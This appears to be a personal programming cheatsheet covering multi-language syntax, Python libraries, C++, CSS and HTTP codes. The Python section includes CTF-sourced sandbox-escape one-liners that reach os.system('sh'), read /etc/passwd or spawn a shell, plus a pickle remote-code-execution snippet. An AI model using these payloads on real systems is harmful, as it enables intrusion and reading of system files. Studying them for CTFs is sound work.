Javascript toggling! Click on headers to open/close sections.
Omissions and simplifications exist and are deliberate. This is a cheatsheet, mainly for my own use, so it probably seems inadequate in some places and overly detailed in others to anybody else.
Quick TOC: General . Python . C/C++ . Web . Haskell . LaTeX . Git . Scala . Rust . Kotlin . Shell . CTF . Go . Perl . ASCII . Keyboard
language | string concat | range comment | eol comment | unequal | ' means | index ielt | 1st elt | all but first | int → string | uppercase |
---|---|---|---|---|---|---|---|---|---|---|
C/C++ | + | /* */ | // | != | char 'c' | s[i] | [0] | #include <stdlib.h> atoi(s) | char: #include <cctype> toupper(c) <string>: #include <algorithm> transform(s.begin(), s.end(), sout.begin(), toupper) | |
Java | + | /* */ | // | != | char 'c' | s[i] | [0] | java.util.Arrays. copyOfRange(a, 1, a.length) | Integer.toString(s) | s.toUpperCase() |
Python | + | # | != | 'raw string' | s[i] | [0] | [1:] | int(s) | s.upper() | |
Perl | . | =for =cut | # | != ne | 'raw string' | $s[i] | [0] | @a[1..$#a] | (implicit) | uc $s |
PHP | . | /* */ | // # | != !== | 'raw string' | $s[i] | [0] | array_slice($a,1) | (implicit) | strtoupper($s) |
Haskell | ++ | {- -} | -- | /= | char 'c' valid id | s !! i | head | tail | (read s)::Int | import Data.Char map toUpper s |
OCaml | ^ list: @ | (* *) | != | char 'c' | List.nth s i | hd | tl | int_of_string | String.uppercase s | |
CommonLisp | (concatenate 'string a b) | ; | /= | (elt s i) (nth i s) | first car | rest cdr | parse-integer | (format nil "~:@(~a~)" s) (?) | ||
Javascript | + | /* */ | // | != !== | 'raw string' | s[i] | [0] | .slice(1) | parseInt(s,10) | s.toUpperCase() |
Clojure | (str a b) | ; | various | (nth i s) | first | rest next | Integer/parseInt | (.toUpperCase s) |
0.1ns | Ideal-conditions fast instruction (e.g. independent MOVs in a superscalar processor) |
1ns | L1 cache reference |
10ns | L2 cache reference; branch misprediction; mutex operation |
100ns | Main memory reference |
1µs | "Compress 1KiB with Zippy" |
10µs | Send 1KiB at 1 Gbps |
100µs | SSD read; read 1MB from memory |
1ms | Within-data-center round trip; read 1MB from SSD |
10ms | Disk seek; read 1MB from disk |
100ms | Send packet around the world |
if __name__ == "__main__": ...
from __future__ import print_function
from __future__ import division
PEP 0263. First or second lines:
# coding=utf-8
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
import codecs codecs.encode(obj, encoding, errors) codecs.decode(obj, encoding, errors)
can pass first 1 or first 2 arguments
encoding = "ascii
" if omitted; alternatives: utf_8
, latin_1
, big5
etc.
errors = "strict
" if omitted; alternatives: ignore
, replace
etc.
"formatstring".format(arg0, arg1, name=value)
{}{0}{1[0]}{2.name}{name}
{access:*>+#255,.3d}
{:0255}
{>255}
foo = 0; bar = "baz"; "{foo} {bar}".format(**locals())
is fairly useful trick to quickly interpolate lots of local variables.str.translate(None, "setofchars")
deletes characters from setstr.[lr]strip("setofchars")
from left/right/both sidesstr.replace(old, new)
exists (not regex)
Special chars: .^$*+?{}\[]|()
re.search(pattern, string[, flags])
yields a MatchObject
anywhere in stringre.match(pattern, string[, flags])
yields a MatchObject
from start or Nonere.fullmatch(pattern, string[, flags])
yields a MatchObject
of the whole string or None (3.4+)re.split(pattern, string[, maxsplit=0, flags=0])
yields a list of stringsre.findall(pattern, string[, flags])
→ a list of stringsre.finditer(pattern, string[, flags])
→ iterator of MatchObject
sre.sub(pattern, replacer, string[, count, flags])
returns a string. replacer
is string (double-escape chars like '\n'
, use r'\1'
or r'\g<123>'
or r'\g<0>'
for a backref) or function mapping MatchObject to string
MatchObject.group(n)
gets the nth group. n = 0 or omitted means the whole match. Groups:
(?: )
non-capturing(?# )
comment(?= )
lookahead / (?! )
negative lookahead(?<= )
lookbehind / (?<! )
negative lookbehind(python) sequences | ↓ |
---|---|
sorted(iterable, key = lambda x: x[1], reverse=True) | ... |
max(iterable, key = lambda x: x[1]) min(iterable, key = lambda x: x[1]) | ... |
enumerate('ABCD', start=1) | (1, 'A'), (2, 'B')... |
(python) mutable lists | ↓ |
s.append(x) | |
s.extend(xs) or s += xs | |
s.insert(i, x) | |
s.pop() s.pop(0) (from left) | popped elementpop returns it in Python in general (unlike some other languages) |
(python) dictionaries | ↓ |
d.keys(), d.iterkeys(), iter(d) | [k1, k2...] |
d.values(), d.itervalues() | [v1, v2...] |
d.items(), d.iteritems() | [(k1, v1)...] |
d.clear() |
list
ify view objects). View objects are iterable, have len
, update dynamically if the map changes, and can be used like sets.d1.update(d2)
.dict(d1, **d2)
. 3.9 (PEP 0584): d1 | d2
In both points above, when there are conflicting mappings for the same key, d2
takes precedence.
x in set_a
, x not in set_a
set_a | set_b
,
set_a & set_b
,
set_a - set_b
,
set_a ^ set_b
; compound assignment set_a |= set_b
etc.
set_a.add(x)
; set_a.update(xs)
set_a.remove(x)
(KeyError if x not in set_a
)set_a.discard(x)
(no error)set_a.pop()
(arbitrary element)set_a.clear()
.append(_)
, .appendleft(_)
.pop()
, .popleft()
(return popped elements).elements()
iterates over elements as many times as counted: ["a", "a", "a", "a", "b", "b"].update(_)
, +
, -
treat like multisetsos.chdir(pathstring)
os.listdir(pathstring)
(unordered list of entries, no .
or ..
)os.getcwd()
os.path.join(*paths)
intelligently joinsos.rename(src, dst)
(file or dir)os.renames(src, dst)
(same, path dirs allowed)os.walk(path, topdown=True, (more omitted))
is a generator that walks all subdirectories. It yields a 3-tuple (dirpath, dirnames, filenames)
for each directory. To do stuff, use os.path.join(root, x)
for x
and use You can modify dirnames
in-place to inform or prune the walk.os.path.exists("foo")
os.path.isfile("foo")
(exists and is file?)os.path.isdir("foo")
(exists and is directory?)proc = subprocess.Popen("cat", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE) (stdout_data, stderr_data) = proc.communicate([input=some_bytes])
One-shot, newer API:
result = subprocess.run("cat", [input=some_bytes,] stdout=subprocess.PIPE, stderr=subprocess.PIPE) result.stdout # bytes or None result.stderr # bytes or None
The first argument in both is args: str|List[str]
.
shell=False
) or the whole shell line to lex and expand.Add the encoding='utf-8'
argument to Popen or run, and use unicode instead of bytes for both input and output.
In 3.7+, on run()
only, capture_output=True
is short for stdout=subprocess.PIPE, stderr=subprocess.PIPE
(python) itertools. | ↓ |
---|---|
islice(_, 9) | [:9] (hs: take 9) |
islice(_, 2, 9) | [2:9] (hs: take 7 . drop 2) |
islice(_, 2, None) | [2:] (hs: drop 2) |
islice(_, 2, 9, 3) | [2:9:3] |
count(10) | 10, 11, 12, 13... |
count(10, 2) | 10, 12, 14, 16... |
cycle([31, 41, 59]) | 31, 41, 59, 31, 41, 59... |
repeat(42) | 42, 42, 42... |
repeat(42, 5) | 42, 42, 42, 42, 42 |
product('ABCD', 'PQRS') | AP, AQ, AR, AS, BP, BQ[...] |
product('ABCD', repeat=2) | AA, AB, AC, AD, BA, BB[...] |
permutations('ABCD') | ABCD, ABDC[...] |
permutations('ABCD', 2) | AB, AC, AD, BA, BC[...] |
combinations('ABCD', 2) | AB, AC, AD, BC, BD, CD |
combinations_with_replacement('ABCD', 2) | AA, AB, AC, AD, BB[...] |
randrange(...) | [start,] stop[, step], just like range (half-open) |
randint(lo, hi) | integers; inclusive |
choice(seq) | 1 sample |
choices(seq, ...) | k samples (w/ replacement), can weight etc. (see docs) |
sample(seq, k) | k samples w/o replacement |
shuffle(seq) | modifies in-place |
random() | [0, 1) float |
uniform(lo, hi) | [lo, hi) float |
gauss(mu, sigma) normalvariate(mu, sigma) | normal distribution (latter slower but thread-safe) |
import getpass password = getpass.getpass()
import time time.sleep(0.5) # 0.5 seconds
[t for t in().__class__.__base__.__subclasses__()if'Sized'==t.__name__][0].__len__.__globals__['__builtins__']['__import__']('os').system('sh')
(most modern variation, Eryksun via Ned Batchelder)
[t for t in (1).__class__.__bases__[-1].__subclasses__() if t.__name__ == 'file'][0]('/etc/passwd').read()
(from On principle (eevee))
Want a shell instead?
[x for x in().__class__.__bases__[0].__subclasses__() if x.__name__ == "catch_warnings" ][0].__init__.func_globals["linecache"].__dict__["os"].execlp("sh","sh")
(from Jonathan Zong's picoCTF 2013 writeup)
from stackoverflow, expression to throw an error:
type(lambda:0)(type((lambda:0).func_code)( 1,1,1,67,'|\0\0\202\1\0',(),(),('x',),'','',1,''),{} )(Exception())
type(lambda: 0)(type((lambda: 0).__code__)( 1,0,1,1,67,b'|\0\202\1\0',(),(),('x',),'','',1,b''),{} )(Exception())
import pickle class RCE: def __reduce__(self): return os.system, ("echo 'hi'",) print(pickle.loads(pickle.dumps(RCE())))pickletools (go to source). The most interesting opcodes are:
R
= REDUCE: take a callable and a tuple of args from stack, call itc
= GLOBAL: take two strings as argument (not from stack), self.find_class(modname, name)
≈ getattr(sys.modules[modname], name)
with compatiblity shims and (if protocol ≥ 4) splitting name
by .
\x93
= STACK_GLOBAL: take two strings from stack, self.find_class(modname, name)
has complicated command line flags:
pygmentize -f html -l python -O full,style=tango -o out.html src.py
note it can guess -f and infer -l from source file extension
import numpy as np
is standard. np.
is implied in most names below...
array([[1, 2, 3], [4, 5, 6]])
eye(n)
, identity(n)
ones(shape)
, zeros(shape)
, full(shape, fill_values)
arange([start,] stop, [step])
(basically just python range, except returns ndarray)linspace(start, stop, num=50, endpoint=True)
(50 evenly spaced samples in inclusive interval [start, stop], or half-open [start, stop) if endpoint is False)dtype
argument which is like numpy.int64
, numpy.float_
, or numpy.bool_
. If you just use Python's int
, float
, or bool
, it will Just Work. You can also make your own by writing something in a string somehow.fromfunction(fn, shape)
arr.shape
is a tuple of the dimensionsarr.ndim
is the number of dimensions (so, the length of arr.shape; may be called its rank)arr.size
is a single number, the number of elements (so, the product of arr.shape)arr.dtype
is the type of the array's elementsNote that *
(along with most other operations) acts element-wise! Broadcasting occurs by "right-aligning" axes, e.g. [3 × 1 array] + [3 array] = [3 × 3 array].
_.astype('float32')
np.transpose(_)
or _.T
(identity on 1D arrays! may need to reshape)np.linalg.det(_)
np.dot(_, _)
, or _ @ _
(Python 3 only: __matmul__
operator)np.linalg.inv(_)
arr[1,2,3:4]
. You can use bare colons to slice everything along a dimension. (arr[1][2][3:4]
still works, for the reasons you'd expect.)arr[(1,2,3)] == arr[1,2,3]
.arr[::-1]
is a good way to reverse.arr[[1,2,3]]
(unlike the above) will index by 1, then by 2, then by 3, and return the results in one array; and arr[[1,2,3],[4,5,6]]
will index by (1,4), (2,5), and (3,6).arr[arr % 2 == 0]
.numpy.nonzero(arr)
returns the indices of elements that are nonzero, but kind of strangely; watch out! It returns a tuple of arrays, one for each dimension of arr
, so arr[nonzero(arr)]
gives you an array of the nonzero values. If you want to iterate over indexes and then unpack them, do transpose(nonzero(arr))
.a.flat
yields all values (in row-major order).np.ndenumerate(a)
yields (index, value) pairs; the index is a tuple of ints.np.sum
, np.prod
, np.min
, np.max
, np.all
, np.any
, np.count_nonzero
fold the matrix to one scalar result. Specify an axis
argument, a dimension or tuple of dimensions, to fold along only certain axes. np.sum
usefully promotes to bigger int types on booleans. Also all these functions can be called as methods on an array. (I think the modern name under np
is np.amin/amax
, but the above seem to work too, and methods are still max/min
.)np.minimum
and np.maximum
, which take element-wise min/max of arrays, like the pairs of elements adding two arrays would operate on.)np.append(arr1, arr2, axis=0)
e.g. np.append(x, [[1]], axis=0)
(you almost certainly want an axis; otherwise it flattens everything, ew)np.concatenate([arr1, arr2, ...], axis=0)
(requires arrays have same dimensions except along axis, returns an array also with same dimensions except along axis; axis is 0 by default)np.stack([arr1, arr2, ...], axis=0)
(requires arrays have the exact same shape, returns an array with an additional axis specified by the parameter)arr.reshape(shape)
e.g. arr.reshape((-1, 1))
converts to a column vector; -1
is the unknown dimension you can specify oncearr.expand_dims(axis)
adds one or more length-1 axesarr.squeeze(axis)
eliminates one or more length-1 axesimport pandas as pd
pd.read_csv(magic) pd.read_table(magic) # tsv by default
1-D data is Series. 2-D data is DataFrame (df
below). They are quite similar to ndarray. The most important philosophical difference is that the data in Series and DataFrame are tightly associated with their labels or indices, and operations generally preserve and operate between corresponding labels and indices (for example, slicing [1:4] will give a result that still has indices 1, 2, 3) (whereas in ndarrays, operations operate between corresponding fickle positions.)
df.info() # sizes etc df.describe() # descriptive statistics: count, mean etc. df['colname'].dtype # data type s.values, df.values # ndarray s.shape, df.shape # consistent with ndarray series.index; df.index, df.columns
df.loc['foo'] # index by label only df.iloc[3] # index by numeric position only, 0-indexed df.head(10) df.tail(10) df.drop([1, 2, 3]) df.drop(['colname'], axis=1)
df['newcolname'] = df['colname'] + 1 # nondestructive: df.assign({'newcolname': df['colname'] + 1}) df.assign(newcolname = df['colname'] + 1)
series.reindex(list_of_indices) # always keeps association between each index and its data # drops missing indexes; fills new indexes with NaN series.sort_index() series/df.rename(index: dict|(OldIndex → NewIndex)) # changes indexes df.rename(columns: dict|(OldIndex → NewIndex)) # changes column labels # or, where mapper : dict | (OldIndex → NewIndex) df.rename(mapper, axis='index') df.rename(mapper, axis='columns') df.set_index('colname') # makes the data indexed by existing column 'colname' df.set_index(['colname', 'colname2']) # ditto, but MultiIndex df.reset_index() # demotes index to a normal column, index by 0, 1, etc.
If you just want to blow away the index-value association, I think df.values
is the best way.
df1 == df2, df1 < df2 # etc. broadcast fine (df + df).equals(df * 2) # ==, except NaN equals NaN (df['colname'] < 10).count() df[df['colname'] < 10] df[df['colname'].isin([1, 3, 5, 7, 9])]
np.nan df.dropna(how='any') df.fillna(value=5) df.isna(), df.notna() # because nan != nan
series.empty, df.empty series.mean(), series.sum(), series.std(), ... series.nunique() # number of distinct values series.value_counts() # value → frequency of value pd.cut(series, num_bins), pd.qcut(series) series.idxmin(), series.idxmax() # index of min and max; like argmax, the name numpy uses series.agg(np.sum) (series > 0).all(), .any(), .bool() # above can also be done to DataFrames # gives results are per column, for columns that make sense
df.pipe(f) # f(df), but may be more readable/chainable style
df.transform(np.abs) # map on underlying ndarray df.transform([np.abs, lambda x: x + 1])
df.apply(lambda x: x.max() - x.min(0)) # map columns
series.apply(some_function) df['colname'].apply(some_function) # map each element of column df['colname'] = df['colname'].apply(some_function)
series.map(lambda x: len(str(x))) # elementwise map
df.applymap(lambda x: len(str(x))) # elementwise map
df.astype('float32')
series.str.lower()
df.sort_values(by='colname') df.sort_values(by='colname', ascending=False) df['colname'].sort_values()
df.cov() series1.corr(series2, [method='pearson'|'kendall'|'spearman']) series.rank() # minimum is 1, maximum is n; ties become average of tied ranks by default
df.groupby('colname').mean() # mean per group etc: .size() .sum() .std() df.groupby('colname').describe() df.groupby('colname').colname2.agg(['mean', 'min', 'max']) df.groupby('colname').get_group('colvalue') df.groupby(('colname1', 'colname2'))Transformation: Lifts Group[S] → Group[T] mapper. New DataFrame, same index, each group's values mapped separately
df.groupby('colname').transform(lambda x: x - x.mean())Filtration: Keep only items in groups satisfying the condition.
df.filter(lambda group: group['colname'].sum() > 300)
torch.cat(Sequence[tensor], dim=0) → Sequence[tensor] # along that dimension torch.stack(Sequence[tensor], dim=0) → tensor # adds a dimension torch.view(*dims) # reshape sharing data, fails if noncontiguous torch.reshape(*dims) # reshape, copies if needed torch.unsqueeze(dim) # adds a dimension torch.randn(*dims) tensor.requires_grad_() # trailing _ means mutate tensor.zero_() # ops + - / % @ & | ^ ... tensor.maximum(t1, t2), tensor.minimum(t1, t2) # folds tensor.max(), tensor.argmax(), tensor.mean(), tensor.any(), tensor.all()... tensor.item() # extract single scalar # manual backprop: tensor.data -= tensor.grad; tensor.grad.zero_()
Program.objects.get(name='Splash 2016')
prog = Program(...) prog.save() prog.name = 'lol' prog.save() prog.delete()
(Or one-step creation:)
Program.objects.create(name = 'gg')
These all deal with QuerySets.
Program.objects # Manager Program.objects.all() # QuerySet with all Program.objects.filter(name__contains='2016') # other things: field__gt=3, field__other_field etc Program.objects.get(name='Splash 2016') Program.objects.order_by('name') StudentRegistration.valid_objects().filter( section__parent_class__parent_program=prog, relationship__name='Enrolled' ) enrolled.values_list('user__last_name', 'user').distinct() # race-condition-free modifying stuff in database: reporter = Reporters.objects.get(name='Tintin') reporter.stories_filed = F('stories_filed') + 1 # no math happens here! reporter.save() reporter.refresh_from_db() # if you need the actual data Entry.objects.filter(number_of_comments__gt=F('number_of_pingbacks') * 2) Company.objects.order_by(F('last_contacted').desc(nulls_last=True)) company = Company.objects.annotate(chairs_needed=F('num_employees') - F('num_chairs')) from django.db.models import OuterRef, Subquery newest = Comment.objects.filter(post=OuterRef('pk')).order_by('-created_at') Post.objects.annotate(newest_commenter_email=Subquery(newest.values('email')[:1])) Post.objects.annotate( recent_comment=Exists( Comment.objects.filter(post=OuterRef('pk'), created_at__gte=one_day_ago) ) ) # ~Exists is OK # this line is Django 3.0+: Post.objects.filter(Exists(...)) total_comments = comments.annotate(total=Sum('length')).values('total') Post.objects.filter(length__gt=Subquery(total_comments)) from django.db.models import Avg, Max, Count, Q Book.objects.all().aggregate(foo=Avg('price')) # terminal action, you get { 'foo': 12.34 } # (or automatically generated keys if args) Publisher.objects.annotate(num_books=Count('book')) Publisher.objects.annotate(below_5=Count('book', filter=Q(book__rating__lte=5))) # joins instead of subqueries, so multiple aggregations are bad: Book.objects.annotate(Count('authors', distinct=True), Count('store', distinct=True))
import requests r = requests.get('http://www.example.com/', params={'foo': 'bar'}) # values can also be lists r = requests.post('http://www.example.com/', data={'foo': 'bar'}) # auto form-encodes; str/bytes is OK toor = requests.request('VERB', url, ...) # 'GET' or 'POST' or others, even custom
Other parameters include:
cookies={'foo': 'bar'}
headers={'user-agent': 'my-app/0.0.1'}
json={'foo': 'bar'}
(data=
its JSON representation; some APIs take it)r.url # see which URL was requested, after redirects; includes the encoded params you passed r.history # Response objects for any redirects that occurred r.status_code r.raise_for_status() # raise exception if 4xx or 5xx r.text # automagical unicode r.content # bytes r.json() # parse as JSON r.headers # of response; magical dict with case-insensitive keys r.cookies # of response
Make a session to store cookies:
sess = request.Session() sess.get('http://www.example.com/') # as before
struct.pack(fmt, v1, v2, ...) struct.unpack(fmt, bytes) # always tuple, possibly length-1 struct.calcsize(fmt) # number of bytes
First character of fmt optionally indicates endianness/size/alignment. You probably just want one of:
< little-endian (x86) > big-endian ("natural writing")
Remaining characters format things one at a time. Uppercase variants indicate the things in brackets, usually unsigned
. Most useful:
'<I'
packs/unpacks 32-bit unsigned ints. struct.pack('<I', num)
'<Q'
packs/unpacks 64-bit unsigned ints. struct.pack('<Q', num)
Precede with a count a la vi
to repeat: '4h'
means 'hhhh'
. Exception: for 's'
the count means the length of the string. (Pascal-style strings are packed with the first byte indicating the length of the string.)
format | C type | Python type | # bytes |
---|---|---|---|
x | |||
c | char | bytes (len = 1) | 1 |
b/B | [unsigned] char | int | 1 |
? | _Bool | bool | 1 |
h/H | [unsigned] short | int | 2 |
i/I | [unsigned] int | int | 4 |
l/L | [unsigned] long | int | 4 |
q/Q | [unsigned] long long | int | 8 |
n/N | [s]size_t | int | |
e | float | 2 | |
f | float | float | 4 |
d | double | float | 8 |
s/p | char[] [Pascal style] | bytes | |
P | void * | int |
b'foo'.hex([sep[, bytes_per_sep]]) # 3.5+ bytes.fromhex('666f6f') # 3.0+ # 3.2+ (some_int).to_bytes(n, 'big'|'little'[, signed=False]) n = (some_int.bit_length() + 7) // 8 # static method: int.from_bytes(some_bytes, 'big'|'little'[, signed=False]) # base64 module: bytes to bytes (for greppability: b64encode, b64decode) base64.b64{encode,decode}(s, altchars='+/') # url '-_' base64.{standard_b64,urlsafe_b64,b32,b16,a85,b85}{encode,decode}
As before: little-endian is how you'll see it in e.g. x86, big-endian is "natural writing".
import hashlib m = hashlib.sha256(b'init data') # data optional m.update(b'more data') m.digest(), m.digest_size; m.hexdigest() # all bytes # fancy new blake hashes; digest_size and key up to 64|32, salt up to 16|8 # key is replacement for hmac m = hashlib.blake2b(b'init data', *, digest_size=64, key, salt, ...) m = hashlib.blake2s(b'init data', *, digest_size=32, key, salt, ...)
import hmac h = hmac.new(key, msg, hashlib.sha256) h.update(msg), h.digest(), h.hexdigest() hmac.digest(key, msg, hashlib.sha256) # bytes hmac.compare_digest(a, b) # constant-time equality
from cryptography.fernet import Fernet key = Fernet.generate_key() # urlsafe_b64encode(os.urandom(32)) f = Fernet(key) ciphertext = f.encrypt(plaintext) # "Fernet token"; time of generation in plaintext f.decrypt(ciphertext) from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305, AESGCM # 12-byte nonce only. no extended nonce (transitive through OpenSSL) key = ChaCha20Poly1305.generate_key() # os.urandom(32) c = ChaCha20Poly1305(key) nonce = os.urandom(12) # --- or --- key = AESGCM.generate_key(bit_length=128|192|256) # os.urandom(bit_length // 8) c = AESGCM(key) nonce = os.urandom(12) ct = c.encrypt(nonce, plaintext, aad) c.decrypt(nonce, ciphertext, aad)
from Crypto.Random import get_random_bytes # shrug from Crypto.Cipher import ChaCha20_Poly1305 key = get_random_bytes(32) nonce = get_random_bytes(8|12|24) # len controls variant, default 12; 24 is XChaCha cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce) # --- OR --- from Crypto.Cipher import AES key = get_random_bytes(16) nonce = get_random_bytes(16) # lib default 16 but RFC/interop suggests 12 cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) # if you pass in a nonce, save your own copy; cipher.nonce is a lie (!?) cipher.update(assoc_data) # optional ciphertext, tag = cipher.encrypt_and_digest(plaintext) # len(tag) = 16 # --- OR --- plaintext = cipher.decrypt_and_verify(ciphertext, tag) # or in steps: ciphertext = cipher.encrypt(plaintext) | plaintext = cipher.decrypt(ciphertext) tag = cipher.digest() | cipher.verify(tag) hextag = cipher.hexdigest() | cipher.hexverify(hextag)
from pwn import * enhex('=') = '3d' / unhex('3d') = ('=') concat: List[List[T]] → List[T] concat_all: recursive lists → flat list findall(haystack, needle) → generator of all indices of needle in haystack group(n, seq, underfull_action=['ignore'|'drop'|'fill']) ordlist: List[int] → str unordlist: str → List[int] p8, p16, p32, p64 ( pack: int → bytes) u8, u16, u32, u64 (unpack: bytes → int) You can pass endian='little'|'big', sign=False|True more(text), yesno(text)
class Foo: @property def bar(self): return self._bar @bar.setter def bar(self, value): self._bar = value @bar.deleter def bar(self): del self._bar
import difflib difflib.SequenceMatcher(None, seqa, seqa).get_opcodes():List of 5-tuple of operations (tag, i1, i2, j1, j2) where tag in ['replace', 'delete', 'insert', 'equal']. seqa[i1:i2] partitions seqa, seqb[j1:j2] partitions seqb. 'insert' means i1 == i2, 'delete' means j1 == j2.
Note: This does not actually produce a minimal edit distance.
sum( max(i2 - i1, j2 - j1) for tag, i1, i2, j1, j2 in difflib.SequenceMatcher(None, a, b).get_opcodes() if tag != 'equal' )
Explicitly for algorithmic coding; parts apply to Java
int: -2,147,483,648 – 2,147,483,647 | long2: ±9.22 × 1018
typedef
takes type first, then alias: typedef long long lli;
const
modifies what's immediately to its left, or if it's leftmost, to its right.
Read right-to-left.
const int x = 7;
≡ int const x = 7;
int const1 * const2 p;
= constant2 pointer to constant1 intconst
, so int & const x
int const & x
.const
at the end means it can be called on a const
object.
int const& operator[] (unsigned index) const;
struct Query { Query(int l, int r): left(l), right(r) {} int left; int right; bool operator<(const Query& other) const { if (right != other.right) return right < other.right; return left < other.left; } };
If you don't want to write a constructor, construction as (Query) { .left = 123, .right = 456 }
works too. Don't both write a constructor and construct structs this way!
#include <cstdlib> int cmp(const void * a, const void * b) { int av = *(int*) a; int bv = *(int*) b; return (av == bv ? 0 : (av < bv ? -1 : 1)); } std::qsort(arr, n, sizeof(int), cmp);
int x = 0; auto increaseX = [&](int y) -> int { x += y; };
-> return_type
is optional and can be inferred.[...]
is the capture-list:
[&]
captures everything necessary by reference[=]
captures everything necessary by value[]
captures nothing&
s, all separated by commas.You can store the lambda in a std::function
(from <functional>
) to make the type explicit, especially if you want recursion:
std::function<char(char, int)> f = [&](char c, int reps) -> char { if (reps > 0) { putchar(c); return f(c + 1, reps - 1); } return c; };
next_permutation
mutates a sequence to the lexicographically next and returns true, except it rolls over from the last to the first and returns false. If a
starts sorted, this loops over all permutations and exits the loop sorted again.
do { // stuff } while (next_permutation(a, a + n));
prev_permutation
is dual.
C++ Sequence containers | C++ Associative containers | C++ bitset | Java Collections | |||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
#include import | <vector> | <deque> | <list> | <set> | <map> | <bitset> | java.util.* | |||||
name | vector | deque | list | set | multiset | map | multimap | bitset | Collection | Set | List | Queue |
methods | begin(), end(), rbegin(), rend() (it) | iterator() | ||||||||||
listIterator() | ||||||||||||
size() (-) | ||||||||||||
empty() (-) | isEmpty() (-) | |||||||||||
resize (+) | ||||||||||||
front, back (=) | element(), peek() | |||||||||||
[], at (=) | [] (=) | [] (=) | get(i) set(i, E) | |||||||||
assign(oit1, oit2) assign(n, val) | ||||||||||||
insert(it, elt[, nCopies]) insert(it, oit1, oit2) | add(i, E) addAll(i, collection) | |||||||||||
erase(it) erase(it1, it2) | remove(o) | |||||||||||
swap(same-type container) | ||||||||||||
push_back, pop_back (+) | add(E) addAll(collection) | |||||||||||
offer(E) | ||||||||||||
push_front, pop_front (+) | ||||||||||||
key_comp, value_comp (-) | ||||||||||||
find, lower_bound, upper_bound, equal_range (-) (it) find(elt) → it or end() | indexOf(o) lastIndexOf(o) | |||||||||||
count(E) | contains(o) containsAll(collection) |
char buf[1008];
code | until | reads it? | writes it? |
---|---|---|---|
scanf("%1004s", buf); | whitespace | no | |
fgets(buf, 1004, stdin); | \n | yes | yes |
cin.get(buf, 1004); | \n | no | |
cin.getline(buf, 1004); | \n | yes | no |
%d OR %i | int |
%c | char (input: may be \n) |
#include <iostream> and #include <iomanip>
cout.precision(15);
OR cout << setprecision(15);
(output more digits)cout << fixed;
(prevent scientific notation for big/small numbers)<<
ed: dec
, hex
, oct
, setw(7)
, setfill('a')
std::shared_ptr<int> foo = std::make_shared<int>(10); std::weak_ptr<int> bar(foo); *foo // or foo->field_name *bar foo.use_count() bar.expired() bar.use_count() class Foo { friend std::ostream& operator<<(std::ostream& os, Foo foo); private: int x; public: Foo(int x); }; std::ostream& operator<<(std::ostream& os, Foo foo) { // do stuff return os; }
<meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="styles.css">
<input type="radio" id="bar" name="foo" value="bar" checked><label for="foo">bar</label> <input type="radio" id="quux" name="foo" value="quux" checked><label for="foo">quux</label> // Fire "change" events. Surprisingly unnatural to get the value. Classic IE9+: document.querySelector('input[name="foo"]:checked').value; // More modern, requires a <form>: document.getElementById("form-id").elements["foo"].value; <input type="number" min="0" max="64" step="2"> // "spinner" <input type="range" min="0" max="64" step="2"> // slider // Step is optional; can be "any" in either. <div data-foo="bar"> // div.dataset.foo === "bar" <button type="button"> (or it'll be a submit button in a form, even if you attach a listener) button.disabled = true;
Specificity = (ID selectors) ≫ (class selectors, attribute selectors, pseudo-classes) ≫ (type selectors, pseudo-elements)
E F | descendant |
E > F | child |
E:first-child | first child of its parent |
E + F | F preceded by E |
E[foo] | has foo attribute |
E[foo="bar"] | foo attribute equal to bar |
E[foo~="warning"] | foo attribute, as space-separated list, contains bar |
E[foo][bar] | has foo and bar attributes (satisfies both attribute criteria) |
E.x | class |
E#id | id |
table { border-collapse: } | collapse; separate; |
display: | block; inline; inline-block; none; [inline-]flex; [inline-]grid; table; table-row; table-cell; ... flow-root; (pure block formatting context/BFC, see below. 2022: 95% browser support) |
visibility: | visible; hidden; (note: visible children of hidden parents are visible!) |
position: (accompanied by top: and left:) |
|
box-sizing |
|
background: | linear-gradient(to right, black, white);
|
url("bg.png") black repeat-y fixed;
| |
overflow: |
|
Contexts:
Block formatting contexts (BFCs) affect positioning stuff: chiefly, they contain floats; margins only collapse inside BFCs; position: static|relative|sticky
use them. They are introduced by:
visible
display: flow-root;
(the purest way to make a new BFC, mediocre browser support)contain: layout|content|strict
(poor browser support)static
or with a transform
, perspective
, filter
(in Fx), contain: paint
transform
etc)
Centering:
text-align: center
on parentmargin: 0 auto;
position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);
z-index
requires set position
and competes with other elements in the stacking context.
CSS-tricks' Complete Guide to Flexbox
Flex container:
stretch
)justify-content | align-content | align-items align-self |
---|---|---|
flex-start (default) | flex-start | |
center | ||
flex-end | ||
make children flex-grow instead | stretch | stretch (default) |
space-between (0:1:1:1:0)
1 2 3 4 5
|
meaningless (there's only one "thing") |
|
space-around (1:2:2:2:1)
1 2 3 4 5
|
||
space-evenly (1:1:1:1:1)
1 2 3 4 5
|
||
baseline |
(Technically align-* default to "normal", which acts as stretch on align-items and as no value (which I don't understand) on align-content)
Flex item:
flex:
, flex-basis defaults to auto. With a flex:
that omits it, flex-basis defaults to 0.
Media query
@media (min-width: 400px) { ... }
are we :has yet? (2024: yeah more or less)
§ 17.6.2.1 Border conflict resolution in brief: thicker borders override thinner ones; if it's a tie then the earlier cell winsResponse | Name | Description |
---|---|---|
100 | Continue | Request headers are good, send the body please (in response to Expect: 100-continue) |
101 | Switch Protocols | e.g. HTTP to FTP |
200 | OK | successful |
201 | Created | new resource, see here |
203 | Non-Authoritative Information | the following data is from e.g. a third party |
204 | No Content | successful, but nothing to return |
205 | Reset Content | successful, please reset your view (e.g. form) |
206 | Partial Content | successful, only returning requested parts (e.g. in response to partial downloading program) |
300 | Multiple Choice | pick a choice |
301 | Moved Permanently | permanent (exact meaning legacy / unclear) |
302 | Found | temporary (exact meaning legacy / unclear) |
303 | See Other | temporary, change all methods to GET |
307 | Temporary Redirect | preserve method and body |
308 | Permanent Redirect | preserve method and body |
400 | Bad Request | |
401 | Unauthorized | MDN: "semantically... 'unauthenticated'" |
403 | Forbidden | |
404 | Not Found | you know |
405 | Method Not Allowed | |
429 | Too Many Requests | |
500 | Internal Server Error | |
501 | Not Implemented | |
502 | Bad Gateway | |
